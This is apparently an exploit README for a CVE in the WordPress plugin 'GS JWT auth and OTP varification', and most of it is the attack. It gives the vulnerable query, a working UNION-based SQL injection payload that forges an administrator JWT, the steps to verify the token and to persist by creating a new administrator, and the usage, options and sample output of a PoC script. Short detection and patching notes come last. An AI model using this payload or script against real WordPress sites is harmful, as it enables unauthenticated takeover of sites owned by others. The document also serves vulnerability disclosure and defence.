
CVE-2026-113615 - GS JWT <= 1.0.0 unauthenticated SQLi to administrator JWT (PoC + exploit by thiscitze)
by thiscitze
| Product | GS JWT auth and OTP varification (gs-jwt-auth-and-otp-varification) |
| Affected | <= 1.0.0 |
| Type | Unauthenticated SQL injection, privilege escalation |
| Impact | Administrator JWT, then full site takeover |
| CVSS | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-113615 |
The plugin exposes POST /wp-json/gs-jwt/v1/verify-otp without
authentication. The otp and mobile parameters are concatenated into a raw
SQL query. A UNION SELECT makes the handler return a row for any user id,
and the handler then signs a JWT for that user. The plugin accepts that JWT
for the whole REST API through determine_current_user, so the token carries
the user's privileges.
// gs-jwt.php, gs_wp_jwt_otp_verify_endpoint_handler()
$OTP = sanitize_text_field($request['otp']);
$mobile = sanitize_text_field($request['mobile']);
$q = "
SELECT t1.user_id, t1.meta_value as mobile FROM {$wpdb->prefix}usermeta as t1
INNER JOIN {$wpdb->prefix}usermeta as t2 ON t1.user_id = t2.user_id
WHERE
t1.meta_key = '_gs_jwt_fs_otp' AND t1.meta_value = '{$OTP}' AND
t2.meta_key = 'billing_phone' AND t2.meta_value = '{$mobile}'
";
$if_exist_otp = $wpdb->get_results($q);
if (count($if_exist_otp) != 0) {
$user_id = $if_exist_otp[0]->user_id;
...
$user_data = gs_wp_jwt_encode_token($user_id);
}
sanitize_text_field() does not escape quotes. The expiry check reads
_gs_jwt_fs_otp_exp from the target user; a user without that meta yields an
empty string, new DateTime('') is "now", and the ten minute window passes.
Probe — GET /wp-json/ (or ?rest_route=/) must return a JSON index.
Redirects are followed and http is upgraded when the server answers 308.
Forge — POST /wp-json/gs-jwt/v1/verify-otp with:
{"otp":"x' UNION SELECT 1,'m'-- -","mobile":"x"}
The query becomes ... meta_value='x' UNION SELECT 1,'m'-- -', returns a
row, and the handler signs a JWT for user id 1.
Verify — GET /wp-json/wp/v2/users/me?context=edit with
Authorization: Bearer <token> returns the authenticated user and roles.
Persist (optional, --create-admin) — POST /wp-json/wp/v2/users
creates a real administrator with a known password.
The token is signed server-side; the secret never leaves the target.
/wp-json/ or ?rest_route=<= 1.0.0 activeGS_WP_JWT_SECRET_KEY, GS_WP_JWT_ALGO, GS_WP_JWT_EXPIRY and
GS_WP_OTP_EXPIRY defined in wp-config.php, as the plugin README
instructs. Without them the routes fatal and there is nothing to exploit.GS_WP_JWT_ALGO must be HS256; the plugin always validates HS256.python3 poc.py # asks for the target
python3 poc.py --url https://target.example
python3 poc.py --url https://target.example --uid 1
python3 poc.py --url https://target.example --create-admin \
--username labadmin --password 'LabPass123!' --email [email protected]
Options:
| Flag | Meaning |
|---|---|
--url | WordPress site root; a path is dropped automatically |
--uid | user id to forge (default 1) |
--create-admin | create a real administrator with known credentials |
--username, --password, --email | data for the created account |
--timeout | per-request timeout in seconds (default 20) |
--proxy | http://host:port |
--no-banner, --no-anim | plain output |
--debug | print all response headers on failures |
⏺ probe REST
⎿ ✓ https://target/wp-json (HTTP 200)
⏺ forge JWT for uid 1
⎿ ✓ sig ok, token eyJ0eXAiOiJKV1Qi...
⏺ verify session
⎿ ✓ admin <[email protected]> roles=administrator
| Code | Meaning |
|---|---|
0 | administrator JWT confirmed |
1 | no token (patched, plugin missing, blocked) |
2 | token is not an administrator |
3 | network failure or user creation failed |
4 | REST API not reachable |
Failures always show the real status, content type, size, request URL,
Server header and a cleaned body excerpt — no guessed messages.
| Symptom | Cause |
|---|---|
HTTP 403 · text/html · Checking your browser... | Cloudflare or similar JS challenge; not solvable without a browser |
HTTP 403 · application/json · rest_forbidden | REST API disabled or blocked by a plugin/WAF |
HTTP 404 · rest_no_route | REST works, plugin not active |
HTTP 500 | plugin constants missing in wp-config.php |
timed out / DNS lookup failed | network or host unreachable |
POST /wp-json/gs-jwt/v1/verify-otp with quotes, UNION, -- or # in
otp or mobiledetermine_current_user without a login event$wpdb->prepare() and require a stored OTP that
matches the same user and has not expired.Authorized testing only.